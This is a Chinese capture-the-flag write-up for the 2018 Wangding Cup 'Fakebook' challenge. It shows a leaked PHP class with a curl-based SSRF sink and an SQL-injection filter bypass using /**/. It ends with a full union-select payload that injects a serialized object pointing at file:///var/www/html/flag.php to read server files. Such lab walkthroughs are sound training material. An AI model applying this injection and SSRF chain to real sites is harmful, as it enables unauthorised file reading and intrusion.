[网鼎杯 2018]Fakebook

扫描目录发现robots.txt

访问得到备份文件

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

从get函数猜测是ssrf漏洞
随便注册个账号然后登录


发现sql注入，并报错出网站路径/var/www/html/
尝试注入，发现过滤了union，可以使用/**/绕过

这里发现数据是以序列化方式存储的

所以只要通过反序列化结合ssrf读取/var/www/html/flag.php就能拿到flag了，这里使用file:///
先将内容反序列出来

然后构造我们自己的payload

payload：?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源代码看到一串data协议，点击得到flag